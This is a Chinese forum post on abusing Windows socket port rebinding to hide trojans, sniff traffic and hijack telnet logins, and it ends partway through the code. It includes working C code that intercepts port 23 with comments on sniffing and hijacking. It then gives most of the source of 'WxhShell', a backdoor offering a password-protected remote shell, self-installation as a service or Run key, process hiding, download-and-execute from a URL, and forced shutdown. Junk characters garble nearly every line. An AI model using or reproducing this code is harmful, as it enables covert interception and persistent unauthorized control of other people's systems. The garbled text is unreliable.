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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \1 &,|\E#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t; {F%9j{  
EJ:%}HhA  
  saddr.sin_family = AF_INET; nl,uuc*;  
s)Cjc.Qs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e?=^;v%r  
2eol gXp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1.9}_4!  
4l45N6"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6Yxh9*N~]  
YLE!m?  
  这意味着什么?意味着可以进行如下的攻击: '9j="R;  
o/Q;f@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >!1.  
Jrpx}2'9:a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 25[I=ZdS  
MsGM5(r:b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C"T;Qp~B  
Nyj( 0W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,1CIBFY  
!XCm>]R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xZwLlY  
hUMf"=q+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 % pd,%pg  
Z>Wg*sZy)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4 bH^":i(  
pF Rg?-  
  #include y)!5R3b  
  #include $,}E   
  #include 5VAK:eB  
  #include    y6, /:qm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9!}8UALD  
  int main() $!yW_HTx  
  { 1@1U/ss1  
  WORD wVersionRequested; =i*;VFc  
  DWORD ret; ]4]6Qki  
  WSADATA wsaData; %)I{%~u0  
  BOOL val; h*$y[}hDuv  
  SOCKADDR_IN saddr; b8SHg^}  
  SOCKADDR_IN scaddr; AKyUfAj3  
  int err; a (b#  
  SOCKET s; lqZ5?BD1  
  SOCKET sc; m?fy^>1  
  int caddsize; ZR?yDgL  
  HANDLE mt; [^e%@TV>d  
  DWORD tid;   ft KTnK.  
  wVersionRequested = MAKEWORD( 2, 2 ); sN2p76KN  
  err = WSAStartup( wVersionRequested, &wsaData );  &NK,VB;  
  if ( err != 0 ) { S4Ww5G?.  
  printf("error!WSAStartup failed!\n"); &*G #H~\  
  return -1; >kp?vK;'B  
  } IrhA+)pdse  
  saddr.sin_family = AF_INET; QPg8;O  
   fNt`?pW H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {~s DYRX  
A}N?/{y)G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SY^t} A7:/  
  saddr.sin_port = htons(23); 7KL v6]b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DYxCQ D  
  { $gy*D7  
  printf("error!socket failed!\n"); pDIVZC  
  return -1; u TK,&  
  } uPG4V2  
  val = TRUE; 8b-Q F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A?%H=>v$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r )~ T@'y  
  { Vq\`+&A  
  printf("error!setsockopt failed!\n"); S` ;?z  
  return -1; X/2&!O  
  } }O^zl#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F,MO@&ue"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "*5hiTr8+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dA0.v+Foz"  
@EpIh&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X+S9{X#Cm  
  { <55 g3>X  
  ret=GetLastError(); 6%Pdy$ P  
  printf("error!bind failed!\n"); Vz~nT  
  return -1; (Cd\G=PK  
  }  L0@SCt  
  listen(s,2); s4SG[w!d  
  while(1) 9qz6]-K  
  { a]/>ra5{  
  caddsize = sizeof(scaddr); vbBc}G"w  
  //接受连接请求 FCuB\ Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \r,Q1n?7  
  if(sc!=INVALID_SOCKET) Rh{zH~oZ  
  { +W\f(/q0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vle@4 ]M\  
  if(mt==NULL) sq[iY  
  { x`mN U  
  printf("Thread Creat Failed!\n"); {{MRELipW  
  break; DRgTe&+  
  } dhr3,&+T2  
  } CS-uNG6  
  CloseHandle(mt); ayD}r#7  
  } }mdAM6  
  closesocket(s); ,Bo>E:u  
  WSACleanup();  H77"  
  return 0; .CU5}Tv-  
  }   5v}8org  
  DWORD WINAPI ClientThread(LPVOID lpParam) Vq;A>  
  { ?yR&/a  
  SOCKET ss = (SOCKET)lpParam; &n?^$LTPY  
  SOCKET sc; 9 ;Ox;;w  
  unsigned char buf[4096]; rKf-+6Na  
  SOCKADDR_IN saddr; *"n vX2iz  
  long num; okv1K  
  DWORD val; C{DvD'^  
  DWORD ret; Dzs[GAQ]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YY!6/5*/]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \y)  
  saddr.sin_family = AF_INET; J@X'PG< 6B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ";Rtiiu  
  saddr.sin_port = htons(23); $8[r9L!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !PJ6%"  
  { 78OIUNm`  
  printf("error!socket failed!\n"); QC;^xG+W  
  return -1; W.0L:3<"  
  } Z%Zd2 v  
  val = 100; `Ru3L#@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mPP`xL?T  
  { p>;_e(  
  ret = GetLastError(); 5~WGZc  
  return -1; #ap9Yoyk\  
  } WT`4s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ixQJ[fH10  
  { XW s"jt  
  ret = GetLastError(); :2-pjkhiwY  
  return -1; R&';Oro  
  } qfz8jY]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xD[Gq%  
  { / iV}HV0  
  printf("error!socket connect failed!\n"); <xC#@OZ  
  closesocket(sc); z;wELz1L{  
  closesocket(ss); e=;AfK  
  return -1; % v7[[U{T  
  } Zg`Mz _?  
  while(1) S"k *6 U  
  { OP|8Sk6 r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e-*.Ca  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^=SD9V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5-0{+R5v  
  num = recv(ss,buf,4096,0); jSuL5|Gui  
  if(num>0) cEd+MCN  
  send(sc,buf,num,0); 9n5<]Q (  
  else if(num==0) 2hQ>:  
  break; B0!"A  
  num = recv(sc,buf,4096,0); jDN ]3Y`  
  if(num>0) fpN- o  
  send(ss,buf,num,0); Ttc[Q]Ri  
  else if(num==0) vp crPVA^  
  break; A7`1-#  
  } S^<g_ q  
  closesocket(ss); { TRsd  
  closesocket(sc); ] 0m&(9  
  return 0 ; AT)a :i  
  } SdwS= (e6  
]B]*/  
Z)xaJGbw  
========================================================== t2iv(swTe  
*(>}Y  
下边附上一个代码,,WXhSHELL U}l14  
u@%r  
========================================================== [wB9s{CX  
LtKI3ou  
#include "stdafx.h" d@G}~&.|  
TbF4/T1b  
#include <stdio.h> eD Z8w  
#include <string.h> D^;*U[F?  
#include <windows.h> w7n373y%  
#include <winsock2.h> z>06hBv(?Y  
#include <winsvc.h> okFvn;  
#include <urlmon.h> 7 +@qB]Bi<  
BiZ=${y  
#pragma comment (lib, "Ws2_32.lib") EmT`YNuc  
#pragma comment (lib, "urlmon.lib") h<\_XJJ  
F[!ckes<bB  
#define MAX_USER   100 // 最大客户端连接数 |fY/i] Ax  
#define BUF_SOCK   200 // sock buffer v^7LctcVm  
#define KEY_BUFF   255 // 输入 buffer ZB[Qs   
OLj\-w^  
#define REBOOT     0   // 重启 ,*@AX>  
#define SHUTDOWN   1   // 关机 D*Q.G8(  
6Ik,zQL  
#define DEF_PORT   5000 // 监听端口 UP{j5gR:_  
Lh-`OmO0>F  
#define REG_LEN     16   // 注册表键长度 5Fm=/o1  
#define SVC_LEN     80   // NT服务名长度 Wi}FY }f  
xyE1Gw`V  
// 从dll定义API h`}3h< 8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <_./SC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DBs*F x[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1]T`n/d V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 qO3XI  
{3Vk p5%l  
// wxhshell配置信息 U\?g*  
struct WSCFG { g3%t8O/M  
  int ws_port;         // 监听端口 ro[Y-o5Q0  
  char ws_passstr[REG_LEN]; // 口令 Fequm+  
  int ws_autoins;       // 安装标记, 1=yes 0=no h !(>7/Gi  
  char ws_regname[REG_LEN]; // 注册表键名 .M4IGOvOS  
  char ws_svcname[REG_LEN]; // 服务名 OW(&s,|6x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ih[+K#t+E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zzl,gy70  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -)y%~Zn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ib0g3p-Lc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #9LzY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ksjUr1o  
jAsO8  
}; t%r :4,  
?oiKVL"7  
// default Wxhshell configuration '~wpP=<yyF  
struct WSCFG wscfg={DEF_PORT, :Ld!mRZF  
    "xuhuanlingzhe", VZIR4J[\.  
    1, www`=)A;  
    "Wxhshell", )Os Lrq/  
    "Wxhshell", s/1 #DM"  
            "WxhShell Service", KIVH!2q;  
    "Wrsky Windows CmdShell Service", 8S;CFyT\n  
    "Please Input Your Password: ", `4CWE_k  
  1, V8z`qEPM  
  "http://www.wrsky.com/wxhshell.exe", 7e&\{*  
  "Wxhshell.exe" m$$?icA  
    }; h.whjiCFa  
*xM/ ;)  
// 消息定义模块  [&P`ak  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !)Rr] ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u; TvS |  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WIh@y2&R  
char *msg_ws_ext="\n\rExit."; p11G#.0  
char *msg_ws_end="\n\rQuit."; i3 )xX@3  
char *msg_ws_boot="\n\rReboot..."; v&MU=Tcqi  
char *msg_ws_poff="\n\rShutdown..."; r5/R5Ga^  
char *msg_ws_down="\n\rSave to "; u>Ki$xP1  
ZZ)G5ji  
char *msg_ws_err="\n\rErr!"; $rG<uO  
char *msg_ws_ok="\n\rOK!"; qSO*$1i  
5QWNZJ&}d  
char ExeFile[MAX_PATH]; ,dd WBwMK  
int nUser = 0; aN^IP  
HANDLE handles[MAX_USER]; hGP1(pH.  
int OsIsNt; s([Wn)I  
<2P7utdZ  
SERVICE_STATUS       serviceStatus; )8{6+{5lu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j:1uP^.  
=`I?mn&  
// 函数声明 3,.% s  
int Install(void); -0,4eg j3  
int Uninstall(void); +EASAq  
int DownloadFile(char *sURL, SOCKET wsh); nb@"?<L!  
int Boot(int flag); O=jN&<rb  
void HideProc(void); MPRO !45Z  
int GetOsVer(void); hE!7RM+Y  
int Wxhshell(SOCKET wsl); ]X" / yAn  
void TalkWithClient(void *cs); U 0ZB^`  
int CmdShell(SOCKET sock); |tG+iF@4  
int StartFromService(void); ^@}#me@  
int StartWxhshell(LPSTR lpCmdLine); Eqphd!\#6  
GH3#E*t+[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); < `Z%O<X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *PM}"s  
IF?xnu  
// 数据结构和表定义 5iWe-xQ>  
SERVICE_TABLE_ENTRY DispatchTable[] = {:Vf0Mhb  
{ TvrwVL)  
{wscfg.ws_svcname, NTServiceMain}, Gidkt;lj  
{NULL, NULL} f:%SW  
}; mpef]9  
T#iU+)-\%  
// 自我安装 & QY#3yj=  
int Install(void)  ]R Mb,hJ  
{ qiNliJ>40E  
  char svExeFile[MAX_PATH]; \mXqak,y  
  HKEY key; }h~'AM  
  strcpy(svExeFile,ExeFile); / = ^L iP  
9!t4>  
// 如果是win9x系统,修改注册表设为自启动 !O\X+#j  
if(!OsIsNt) { $au2%NL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {of]/ 3=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  0:dB 9  
  RegCloseKey(key); xYR#%!M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vbn>mg5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  a8h]n:!  
  RegCloseKey(key); G6Q4-kcK  
  return 0; `Ei"_W  
    } m,NMTyJoz  
  } M j~${vj  
} `45d"B I  
else { POBpJg  
t&"5dM\  
// 如果是NT以上系统,安装为系统服务 RWahsJTu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B/Ba5z"r$  
if (schSCManager!=0) #S i|!  
{ 3Hm7 uBZ  
  SC_HANDLE schService = CreateService caD5Pod4  
  ( ,35Ag#va  
  schSCManager, deM~[1e[  
  wscfg.ws_svcname, ~N[|bPRmhE  
  wscfg.ws_svcdisp, 3zb)"\(R  
  SERVICE_ALL_ACCESS, bhKV +oN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , slSR=XOG  
  SERVICE_AUTO_START, zH+<bEo=1=  
  SERVICE_ERROR_NORMAL, P|N?OocE  
  svExeFile, tQ0=p| T]  
  NULL, ]hUKuef  
  NULL, ? -{IsF^  
  NULL, )[DpK=[N^p  
  NULL, ;xW{Ehq-h  
  NULL eG^z*`**  
  ); /'Bdq?!B&  
  if (schService!=0) /\~W$.c  
  { M,L@k  
  CloseServiceHandle(schService); 3*\8p6G  
  CloseServiceHandle(schSCManager); i;HH ! TaN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V~c(]K)-  
  strcat(svExeFile,wscfg.ws_svcname); 0|Q.U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .jum "va%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -4`sqv ]  
  RegCloseKey(key); QX/]gX  
  return 0; 3YRB I|XO  
    } ;@'0T4Z&l  
  } P6E1^$e  
  CloseServiceHandle(schSCManager); /'NUZ9  
} sbjtL,  
} `]LODgk~  
h *waRD  
return 1; a^*B5G1(&  
} `7>K1slQ}S  
ws().IZ  
// 自我卸载 eU"mG3 __  
int Uninstall(void) G,/Gq+WX  
{ eu=|t&FKk  
  HKEY key; 'Ix5,^M}B  
g$gVm:=  
if(!OsIsNt) { V*kznm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d'q;+ jnP  
  RegDeleteValue(key,wscfg.ws_regname); R]VTV7D  
  RegCloseKey(key); |3|wdzV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Qhx[Hv>(  
  RegDeleteValue(key,wscfg.ws_regname); S `wE$so>  
  RegCloseKey(key); S r[IoF)  
  return 0; 9 G((wiE  
  } z.A4x#>-  
} k2wBy'M .'  
} j>V"hf  
else { =*[, *A  
mC "7)&,F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9$EH K  
if (schSCManager!=0) r)%4-XeV  
{ %y3:SUOdx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5A;"jp^ Z  
  if (schService!=0) K9LEIby  
  { PgqECd)f  
  if(DeleteService(schService)!=0) { |/2LWc?  
  CloseServiceHandle(schService); (S3jZ  
  CloseServiceHandle(schSCManager); `-5cQ2>"  
  return 0; s/\XH&KR3V  
  } ~"RQ!&U  
  CloseServiceHandle(schService); 4=UI3 2v3  
  } w8U2y/:>  
  CloseServiceHandle(schSCManager); <xC: Ant  
} Fv;u1Atiw  
} vFR 1UPF  
#[C< J#;  
return 1; =sL(^UISl  
} 6O%=G3I  
i~(#S8U4d  
// 从指定url下载文件 69?I?,7  
int DownloadFile(char *sURL, SOCKET wsh) Bac?'ypm  
{ _RgxKp/d  
  HRESULT hr; `$f\ %  
char seps[]= "/"; %d ZM9I0  
char *token; O&F< oM  
char *file; nO-d" S*  
char myURL[MAX_PATH]; 2}GKHC  
char myFILE[MAX_PATH]; G) jG!`I  
y}Ck zD  
strcpy(myURL,sURL); jDFp31_X  
  token=strtok(myURL,seps); 2c!h2$w  
  while(token!=NULL) Q1K"%  
  { B<rPvM7a  
    file=token; rrW! X q  
  token=strtok(NULL,seps); , &-S?|  
  } }#YIl@E  
%+/f'6kR  
GetCurrentDirectory(MAX_PATH,myFILE); xAFek;GY?  
strcat(myFILE, "\\"); fYv ;TV>73  
strcat(myFILE, file); gt#MeU  
  send(wsh,myFILE,strlen(myFILE),0); Cq TH!'N  
send(wsh,"...",3,0); ]w5ji  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1 VPg`+o  
  if(hr==S_OK) 30t:O&2<  
return 0; Qu!OV]Cc  
else ;>cLbjD  
return 1; /IrKpmbq  
@+[Y0_  
} 3AX?B~s  
B'NS&7+].  
// 系统电源模块 9)1P+c--  
int Boot(int flag) Bb$S^F(Xq  
{ Rv0-vH.n  
  HANDLE hToken; ;:-}z.7Y  
  TOKEN_PRIVILEGES tkp; ?S+/QyjcfJ  
%?U"[F1  
  if(OsIsNt) { =]8f"wAh*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fp`U?S6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n5/ZJur  
    tkp.PrivilegeCount = 1;  gvvFU,2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /W7&U =d9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aY3pvOV  
if(flag==REBOOT) { s{b0#[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hhN(;.  
  return 0; P?-d[zLA  
} )G}sb*+v?  
else { J(H??9(s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {mKpD  
  return 0; [~zE,!  
} ju @%A@s  
  } H@VBP Q}Q  
  else { Y j ,9V],  
if(flag==REBOOT) { 7{?lEQ&UE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BBaHM sr  
  return 0; 54, Ju'r  
} BA`kxL/x  
else { +H5 jRw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _N[^Hl`\  
  return 0; G7Edi;y/{  
} W\d0  
} ^XjvJa  
C.DoXE7  
return 1; V>~*]N^f  
} q>Dr)x)  
TXY  
// win9x进程隐藏模块 AX!Md:s  
void HideProc(void) /3xFd)|Ds  
{ 2gK p\!  
BV_a-\Sa=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #d7)$ub  
  if ( hKernel != NULL ) r;@:S~  
  { LIm$Wl1U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S^_JC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x`j_d:C~G  
    FreeLibrary(hKernel); AmUe0CQ:k'  
  } *X"F:7  
2n"*)3Qj  
return; X.r!q1_c  
} +'{:zN5m  
3R Y|l?n>  
// 获取操作系统版本 J:M<9W  
int GetOsVer(void) 7~Xu71^3s  
{ C5W-B8>  
  OSVERSIONINFO winfo; OV0cr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dNS9<8JX  
  GetVersionEx(&winfo); R[2[[M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'Gm!Jblo@  
  return 1; K~9 jin  
  else kC,DW%Ls  
  return 0; 1{Sx V  
} d@`-!"  
qrORP3D@  
// 客户端句柄模块 }VJ hw*s  
int Wxhshell(SOCKET wsl) Ezo" f  
{ 3 8ls 4v3  
  SOCKET wsh; )aO!cQ{s  
  struct sockaddr_in client; \dQ2[Ek  
  DWORD myID; [{Klv&>_/  
o9(#KC?3  
  while(nUser<MAX_USER) 8tB{rK,  
{ NR@SDW  
  int nSize=sizeof(client); Xj(k(>7V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QvyUd%e'5A  
  if(wsh==INVALID_SOCKET) return 1; {BwN4r46  
pB{ f-M:D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o 2$<>1^  
if(handles[nUser]==0) d<^6hF  
  closesocket(wsh); Xl '\krz  
else iI/'! 85  
  nUser++; r.W"@vc>  
  } Jg?pW:}R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x Ps& CyI  
! a8h  
  return 0; Av[|.~g  
} LO Yyj?^7  
RM / s :  
// 关闭 socket 9EY_R&Yq%  
void CloseIt(SOCKET wsh) >LRaIU>  
{ `;8u9Ff  
closesocket(wsh); !{|yAt9kP  
nUser--; x,@O:e  
ExitThread(0); o2t@-dNi  
} 4$#ia F  
O,z%7><  
// 客户端请求句柄 1tK6lrhj  
void TalkWithClient(void *cs) d#$i/&gE  
{ Yc( )'6  
A?<"^<A^  
  SOCKET wsh=(SOCKET)cs; gJ}'O4*b  
  char pwd[SVC_LEN]; ;L/T}!Dx  
  char cmd[KEY_BUFF]; m'vOFP)'  
char chr[1]; v \L Ip  
int i,j; #v]aT  ]}  
Ts?>"@  
  while (nUser < MAX_USER) { }j5@\c48  
I(r5\A=   
if(wscfg.ws_passstr) { ~(L<uFU V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F b`7 aFIf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aWi]t'_  
  //ZeroMemory(pwd,KEY_BUFF); V3Rnr8  
      i=0;   ]q\=  
  while(i<SVC_LEN) { '$&(+>)z `  
h;h,dx  
  // 设置超时 iH -x  
  fd_set FdRead; S7~l%G>]b  
  struct timeval TimeOut; ^[,1+WS%  
  FD_ZERO(&FdRead); SGT-B.  
  FD_SET(wsh,&FdRead); "}Sid+)<  
  TimeOut.tv_sec=8; */@bNT9BgO  
  TimeOut.tv_usec=0; XVK[p=cIL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c`[uQXv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (/UMi,Ho  
[8(9.6f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QRc=-Wu_(  
  pwd=chr[0]; b J5z??  
  if(chr[0]==0xd || chr[0]==0xa) { FWx*&y~$  
  pwd=0; p9bxhnn|  
  break; B7^n30+L  
  } h4xf%vA(;  
  i++; %EhU!K#[  
    } )#TJw@dNf^  
_TeRsA  
  // 如果是非法用户,关闭 socket iPi'5g(a   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "r(pK@h  
} V s t e$V  
OKH~Y-%<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); InGbV+ I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lb XkZ,  
Z.#glmw^=R  
while(1) { oXOO 10  
4Og GZ  
  ZeroMemory(cmd,KEY_BUFF); in|7ucSlg  
At_Y$N:  
      // 自动支持客户端 telnet标准   WYd,tGz  
  j=0; MrjB[3Td  
  while(j<KEY_BUFF) { wEn&zZjx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rMFf8D(Y  
  cmd[j]=chr[0]; u+T, n  
  if(chr[0]==0xa || chr[0]==0xd) { SCC/ <o  
  cmd[j]=0; $ }bC$?^  
  break; _|#|mb4Fe  
  } \.-y LS.  
  j++; aNEy1-/(\  
    } RJm8K,3#  
-2~ yc2:>A  
  // 下载文件 ]cY'6'}Hz  
  if(strstr(cmd,"http://")) { 5m;wMW<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zEL[%(fnc  
  if(DownloadFile(cmd,wsh)) Ljs(<Gm)-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p%qL0   
  else G U/k^ Qy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NjMLq|X  
  } H[yLl v  
  else { M L_J<|,J  
;SP3nU))  
    switch(cmd[0]) { ZQ8Aak  
  WK5bt2x  
  // 帮助 EjCs  
  case '?': { U.9nHo{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~a|Q[tiV]  
    break; K&oO+G^f  
  } { J%$.D(/  
  // 安装 K#yH\fn8  
  case 'i': { R')GQ.yYq  
    if(Install()) +*~3"ww<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eEFT(e5.>3  
    else eWs^[^c.<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jWCC`0 T  
    break; `I<|*vW u  
    } #FM 'S|  
  // 卸载 E8 )*HOT_T  
  case 'r': { 30-w TcG  
    if(Uninstall()) O/"&?)[v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7im;b15j`'  
    else "qp_*Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tHo/uW_~I  
    break; c8W=Is`  
    } ;]ew>P)  
  // 显示 wxhshell 所在路径 !(tJZ5  
  case 'p': { +\m!# CSA  
    char svExeFile[MAX_PATH]; eW<hC (  
    strcpy(svExeFile,"\n\r"); Sgy~Z^  
      strcat(svExeFile,ExeFile); j;vaNg|vQ  
        send(wsh,svExeFile,strlen(svExeFile),0); 5~5ypQj  
    break; f%l#g]]  
    } : s3Vl  
  // 重启 0pz X!f1~  
  case 'b': { \OB3gnR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6g&nnA  
    if(Boot(REBOOT)) \Ki#"%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y5 pNKL  
    else { {1c eF  
    closesocket(wsh); (9%%^s]uPT  
    ExitThread(0); 0:S)2"I58p  
    } Fje%hcV  
    break; 4 ETVyK|  
    } 351'l7F\  
  // 关机 YiMecu  
  case 'd': { a#$%xw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3E9j%sYk  
    if(Boot(SHUTDOWN)) 9|DC<Zn&B#  
